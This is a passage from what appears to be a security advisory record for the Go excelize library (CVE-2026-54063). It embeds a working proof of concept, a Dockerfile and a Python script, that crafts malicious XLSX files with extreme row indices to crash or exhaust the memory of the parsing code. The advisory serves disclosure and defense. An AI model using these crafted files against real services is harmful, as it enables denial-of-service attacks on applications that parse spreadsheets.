checkSheet() (excelize.go:341-393), the attacker-controlled <row r=\"N\">\n#   attribute is used directly as make([]xlsxRow, row) size with no bounds check.\n#\n# Variant A (r=2147483647): OOM — make([]xlsxRow, 2147483647) exhausts memory\n# Variant B (r=-1):         Panic — second loop does sheetData.Row[-2] (index OOB)\n\nFROM golang:latest AS builder\n\n# Copy the vulnerable excelize library source (serves as the Go module)\nCOPY repo/ /excelize/\n\n# Copy the exploit main package written by poc.py\nCOPY vuln-001/exploit_main.go /excelize/cmd/poc/main.go\n\nWORKDIR /excelize\n\n# Build the exploit binary.\n# -mod=mod: allow Go to update go.sum for any transitive deps.\n# CGO_ENABLED=0: produce a statically-linked binary for the runtime stage.\nRUN CGO_ENABLED=0 GOFLAGS=\"-mod=mod\" go build -o /poc ./cmd/poc/\n\n# Minimal runtime stage (golang image provides a libc for cgo-free binary too)\nFROM golang:latest\nCOPY --from=builder /poc /poc\nENTRYPOINT [\"/poc\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Unbounded Row Index Allocation in excelize checkSheet()\nCWE-770 — Allocation of Resources Without Limits or Throttling\nRepository: qax-os/excelize  Commit: f4a068b\n\nExploit mechanism:\n  xlsxWorksheet.checkSheet() (excelize.go:341-393) iterates worksheet rows and\n  uses the attacker-controlled <row r=\"N\"> attribute directly as the length\n  argument to make([]xlsxRow, row) without any bounds validation against\n  TotalRows (1,048,576).\n\n  Variant A (r=2147483647): make([]xlsxRow, 2^31-1) → OOM / fatal error\n  Variant B (r=-1):         first loop leaves row=0; second loop executes\n                            sheetData.Row[-1-1] → runtime panic: index out of range\n\nThis script:\n  1. Writes exploit_main.go (the Go PoC binary source).\n  2. Creates two malicious XLSX files (one per variant).\n  3. Builds the Docker image.\n  4. Runs each variant and captures evidence.\n  5. Writes phase2_result.json with verdict.\n\"\"\"\n\nimport json\nimport os\nimport subprocess\nimport sys\nimport textwrap\nimport zipfile\n\n# ---------------------------------------------------------------------------\n# Paths\n# ---------------------------------------------------------------------------\nBASE_DIR     = os.path.dirname(os.path.abspath(__file__))\nPARENT_DIR   = os.path.dirname(BASE_DIR)          # Docker build context\nRESULT_FILE  = os.path.join(BASE_DIR, \"phase2_result.json\")\nDOCKERFILE   = os.path.join(BASE_DIR, \"Dockerfile\")\nIMAGE_NAME   = \"excelize-poc-vuln001\"\n\nEXPLOIT_SRC  = os.path.join(BASE_DIR, \"exploit_main.go\")\nPANIC_XLSX   = os.path.join(BASE_DIR, \"row_negative.xlsx\")\nOOM_XLSX     = os.path.join(BASE_DIR, \"row_maxint.xlsx\")\n\n\n# ---------------------------------------------------------------------------\n# Step 1 — Write the Go exploit source\n# ---------------------------------------------------------------------------\nEXPLOIT_GO = textwrap.dedent(\"\"\"\\\n    // exploit_main.go — PoC for VULN-001\n    // Triggers excelize checkSheet() unbounded allocation via malicious XLSX.\n    package main\n\n    import (\n    \\t\"fmt\"\n    \\t\"os\"\n    \\t\"runtime/debug\"\n\n    \\texcelize \"github.com/xuri/excelize/v2\"\n    )\n\n    func main() {\n    \\tif len(os.Args) < 2 {\n    \\t\\tfmt.Fprintln(os.Stderr, \"Usage: poc <xlsx_file>\")\n    \\t\\tos.Exit(1)\n    \\t}\n    \\tpath := os.Args[1]\n    \\tfmt.Printf(\"[*] Opening: %s\\\\n\", path)\n\n    \\t// Wrap the call so we can print a structured panic message before exiting.\n    \\t// The panic itself is the evidence of exploitability.\n    \\tfunc() {\n    \\t\\tdefer func() {\n    \\t\\t\\tif r := recover(); r != nil {\n    \\t\\t\\t\\tfmt.Println(\"[VULN] PANIC CAUGHT — vulnerability confirmed\")\n    \\t\\t\\t\\tfmt.Printf(\"[VULN] panic value: %v\\\\n\", r)\n    \\t\\t\\t\\tfmt.Println(\"[VULN] Stack trace:\")\n    \\t\\t\\t\\tdebug.PrintStack()\n    \\t\\t\\t\\tos.Exit(2) // exit 2 = exploitable crash (panic)\n    \\t\\t\\t}\n    \\t\\t}()\n\n    \\t\\tf, err := excelize.OpenFile(path)\n    \\t\\tif err != nil {\n    \\t\\t\\tfmt.Printf(\"[!] OpenFile error: %v\\\\n\", err)\n    \\t\\t\\tos.Exit(1)\n    \\t\\t}\n    \\t\\tdefer f.Close()\n\n    \\t\\t// GetCellValue → getCellStringFunc → workSheetReader → checkSheet()\n    \\t\\t// checkSheet() is the sink: make([]xlsxRow, row) where row is attacker-controlled.\n    \\t\\tfmt.Println(\"[*] Calling GetCellValue — entering checkSheet() sink\")\n    \\t\\tval, err := f.GetCellValue(\"Sheet1\", \"A1\")\n    \\t\\tif err != nil {\n    \\t\\t\\t// Some errors surface instead of panicking (e.g. allocation failures\n    \\t\\t\\t// that Go converts to errors in some configurations).\n    \\t\\t\\tfmt.Printf(\"[!] GetCellValue error: %v\\\\n\", err)\n    \\t\\t\\tos.Exit(3) // exit 3 = error path (still abnormal)\n    \\t\\t}\n    \\t\\tfmt.Printf(\"[*] GetCellValue returned normally, value=%q (no crash)\\\\n\", val)\n    \\t}()\n    }\n\"\"\")\n\n\ndef write_exploit_source() -> None:\n    with open(EXPLOIT_SRC, \"w\") as fh:\n        fh.write(EXPLOIT_GO)\n    print(f\"[+] Wrote exploit source: {EXPLOIT_SRC}\")\n\n\n# ---------------------------------------------------------------------------\n# Step 2 — Build malicious XLSX files\n# ---------------------------------------------------------------------------\nCONTENT_TYPES = (\n    '<?xml version=\"1.0\" encoding=\"UTF-8\"?>'\n    '<Types xmlns=\"http://schemas.openxmlformats.org/package/2006/content-types\">'\n    '<Default Extension=\"rels\" ContentType=\"application/vnd.openxmlformats-package.relationships+xml\"/>'\n    '<Default Extension=\"xml\"  ContentType=\"application/xml\"/>'\n    '<Override PartName=\"/xl/workbook.xml\"'\n    ' ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml\"/>'\n    '<Override PartName=\"/xl/worksheets/sheet1.xml\"'\n    ' ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml\"/>'\n    '</Types>'\n)\n\nRELS = (\n    '<?xml version=\"1.0\" encoding=\"UTF-8\"?>'\n    '<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">'\n    '<Relationship Id=\"rId1\"'\n    ' Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument\"'\n    ' Target=\"xl/workbook.xml\"/>'\n    '</Relationships>'\n)\n\nWORKBOOK = (\n    '<?xml version=\"1.0\" encoding=\"UTF-8\"?>'\n    '<workbook xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\"'\n    ' xmlns:r=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships\">'\n    '<sheets><sheet name=\"Sheet1\" sheetId=\"1\" r:id=\"rId1\"/></sheets>'\n    '</workbook>'\n)\n\nWORKBOOK_RELS = (\n    '<?xml version=\"1.0\" encoding=\"UTF-8\"?>'\n    '<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">'\n    '<Relationship Id=\"rId1\"'\n    ' Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet\"'\n    ' Target=\"worksheets/sheet1.xml\"/>'\n    '</Relationships>'\n)\n\n\ndef sheet_xml(row_r: str) -> str:\n    return (\n        '<?xml version=\"1.0\" encoding=\"UTF-8\"?>'\n        '<worksheet xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\">'\n        f'<sheetData><row r=\"{row_r}\"><c r=\"A1\"><v>1</v></c></row></sheetData>'\n        '</worksheet>'\n    )\n\n\ndef build_xlsx(path: str, row_r: str) -> None:\n    with zipfile.ZipFile(path, \"w\", zipfile.ZIP_DEFLATED) as z:\n        z.writestr(\"[Content_Types].xml\",        CONTENT_TYPES)\n        z.writestr(\"_rels/.rels\",               RELS)\n        z.writestr(\"xl/workbook.xml\",           WORKBOOK)\n        z.writestr(\"xl/_rels/workbook.xml.rels\", WORKBOOK_RELS)\n        z.writestr(\"xl/worksheets/sheet1.xml\",  sheet_xml(row_r))\n    print(f\"[+] Created {os.path.basename(path)}  (row r={row_r!r})\")\n\n\n# ---------------------------------------------------------------------------\n# Step 3 — Docker helpers\n# ---------------------------------------------------------------------------\ndef run_cmd(cmd: list, timeout: int = 600) -> subprocess.CompletedProcess:\n    print(f\"[>] {' '.join(str(x) for x in cmd)}\")\n    return subprocess.run(\n        cmd,\n        capture_output=True,\n        text=True,\n        timeout=timeout,\n    )\n\n\ndef docker_build() -> tuple[bool, str]:\n    result = run_cmd(\n        [\n            \"docker\", \"build\",\n            \"--no-cache\",\n            \"-f\", DOCKERFILE,\n            \"-t\", IMAGE_NAME,\n            PARENT_DIR,\n        ],\n        timeout=600,\n    )\n    combined = result.stdout + result.stderr\n    if result.returncode != 0:\n        print(f\"[-] docker build FAILED (rc={result.returncode})\")\n        print(combined[-4000:])\n        return False, combined\n    print(\"[+] Docker image built successfully\")\n    return True, combined\n\n\ndef docker_run_variant(label: str, xlsx_path: str, mem: str = \"256m\", timeout: int = 90) -> dict:\n    \"\"\"Run the exploit container against one XLSX file and return analysis dict.\"\"\"\n    cmd = [\n        \"docker\", \"run\", \"--rm\",\n        \"--memory\", mem,\n        \"--memory-swap\", mem,\n        \"-v\", f\"{xlsx_path}:/input.xlsx:ro\",\n        IMAGE_NAME,\n        \"/input.xlsx\",\n    ]\n    run_cmd_str = \" \".join(cmd)\n    try:\n        result = run_cmd(cmd, timeout=timeout)\n        rc = result.returncode\n        stdout = result.stdout or \"\"\n        stderr = result.stderr or \"\"\n    except subprocess.TimeoutExpired:\n        rc = -99\n        stdout = \"\"\n        stderr = f\"TIMEOUT after {timeout}s\"\n\n    combined = stdout + stderr\n    print(f\"\\n--- {label} ---\")\n    print(f\"  exit code : {rc}\")\n    print(f\"  stdout    : {stdout[:1200]}\")\n    print(f\"  stderr    : {stderr[:1200]}\")\n\n    is_panic = any(kw in combined for kw in (\n        \"index out of range\",\n        \"PANIC CAUGHT\",\n        \"runtime error\",\n        \"goroutine \",\n        \"panic:\",\n    ))\n    is_oom = any(kw in combined for kw in (\n        \"out of memory\",\n        \"cannot allocate\",\n        \"fatal error\",\n        \"makeslice\",\n    )) or rc == 137\n\n    # exit 2 = panic caught; exit 137 = OOM kill; exit 3 = error path\n    crashed = rc != 0 and (is_panic or is_oom or rc in (2, 3, 137))\n\n    return {\n        \"label\":    label,\n        \"rc\":       rc,\n        \"is_panic\": is_panic,\n        \"is_oom\":   is_oom,\n        \"crashed\":  crashed,\n        \"run_cmd\":  run_cmd_str,\n        \"snippet\":  combined[:1500].strip(),\n    }\n\n\n# ---------------------------------------------------------------------------\n# Main\n# ---------------------------------------------------------------------------\ndef main() -> None:\n    print(\"=\" * 65)\n    print(\"VULN-001 PoC — excelize checkSheet() unbounded allocation DoS\")\n    print(\"=\" * 65)\n\n    # 1. Write Go exploit source (needed before docker build)\n    write_exploit_source()\n\n    # 2. Create malicious XLSX payloads\n    build_xlsx(PANIC_XLSX, \"-1\")          # Variant B: index OOB panic\n    build_xlsx(OOM_XLSX,   \"2147483647\")  # Variant A: 2 GB+ make() → OOM\n\n    # 3. Build Docker image\n    build_cmd = (\n        f\"docker build --no-cache -f {DOCKERFILE} -t {IMAGE_NAME} {PARENT_DIR}\"\n    )\n    build_ok, build_out = docker_build()\n    if not build_ok:\n        payload = {\n            \"passed\":        False,\n            \"verdict\":       \"FAIL\",\n            \"reason\":        (\n                \"Docker 이미지 빌드에 실패했습니다. golang:latest 이미지가 go.mod의 \"\n                \"'go 1.25.0' 요건을 충족하지 않을 수 있습니다. Dockerfile에서 \"\n                \"'golang:1.25' 등 명시적 버전 태그로 교체 후 재시도 바랍니다.\"\n            ),\n            \"build_command\": build_cmd,\n            \"run_command\":   \"\",\n            \"poc_command\":   f\"python3 {os.path.abspath(__file__)}\",\n            \"evidence\":      build_out[-2000:],\n            \"artifacts\":     [\"Dockerfile\", \"poc.py\"],\n        }\n        with open(RESULT_FILE, \"w\") as fh:\n            json.dump(payload, fh, indent=2, ensure_ascii=False)\n        print(f\"\\n[!] FAIL result → {RESULT_FILE}\")\n        sys.exit(1)\n\n    # 4. Run both variants\n    ev_panic = docker_run_variant(\n        \"Variant B — r=-1 (index out of range panic)\", PANIC_XLSX, mem=\"256m\")\n    ev_oom   = docker_run_variant(\n        \"Variant A — r=2147483647 (OOM)\",              OOM_XLSX,   mem=\"256m\")\n\n    # 5. Verdict\n    passed = ev_panic[\"crashed\"] or ev_oom[\"crashed\"]\n\n    if ev_panic[\"crashed\"]:\n        primary, primary_ev = \"B (r=-1, panic)\", ev_panic\n    elif ev_oom[\"crashed\"]:\n        primary, primary_ev = \"A (r=2147483647, OOM)\", ev_oom\n    else:\n        primary, primary_ev = \"B (r=-1, panic)\", ev_panic  # best-effort\n\n    if passed:\n        reason = (\n            f\"실행 결과 비정상 종료 확인됨 (주요 variant: {primary}). \"\n            f\"Variant B(r=-1): rc={ev_panic['rc']}, panic={ev_panic['is_panic']}; \"\n            f\"Variant A(r=2147483647): rc={ev_oom['rc']}, oom={ev_oom['is_oom']}. \"\n            \"excelize.go:377 make([]xlsxRow, row)에 대한 bounds 검증 부재가 \"\n            \"컨테이너 내 실제 DoS(패닉/OOM)를 유발함을 실행으로 증명.\"\n        )\n        verdict = \"PASS\"\n    else:\n        reason = (\n            \"컨테이너 실행이 완료되었으나 충돌(패닉/OOM) 증거가 관측되지 않음. \"\n            f\"Variant B rc={ev_panic['rc']}, Variant A rc={ev_oom['rc']}. \"\n            \"가능한 원인: (1) Go 런타임이 make() 실패를 panic 대신 error로 반환, \"\n            \"(2) 메모리 한도 초과 전 OOM killer가 작동하지 않음. \"\n            \"다음을 시도: --memory 64m으로 재실행, 또는 호스트에서 직접 Go 빌드 후 실행.\"\n        )\n        verdict = \"FAIL\"\n\n    phase2 = {\n        \"passed\":        passed,\n        \"verdict\":       verdict,\n        \"reason\":        reason,\n        \"build_command\": build_cmd,\n        \"run_command\":   primary_ev[\"run_cmd\"],\n        \"poc_command\":   f\"python3 {os.path.abspath(__file__)}\",\n        \"evidence\":      primary_ev[\"snippet\"],\n        \"artifacts\":     [\"Dockerfile\", \"poc.py\"],\n    }\n\n    with open(RESULT_FILE, \"w\") as fh:\n        json.dump(phase2, fh, indent=2, ensure_ascii=False)\n\n    print(f\"\\n{'='*65}\")\n    print(f\"Verdict : {verdict}  (passed={passed})\")\n    print(f\"Result  → {RESULT_FILE}\")\n    print(\"=\" * 65)\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/xuri/excelize/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.11.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/qax-os/excelize/security/advisories/GHSA-h69g-9hx6-f3v4"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-54063"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/qax-os/excelize"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/qax-os/excelize/releases/tag/v2.11.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-10T19:25:20Z",
    "nvd_published_at" : "2026-07-10T17:16:58Z"
  }
}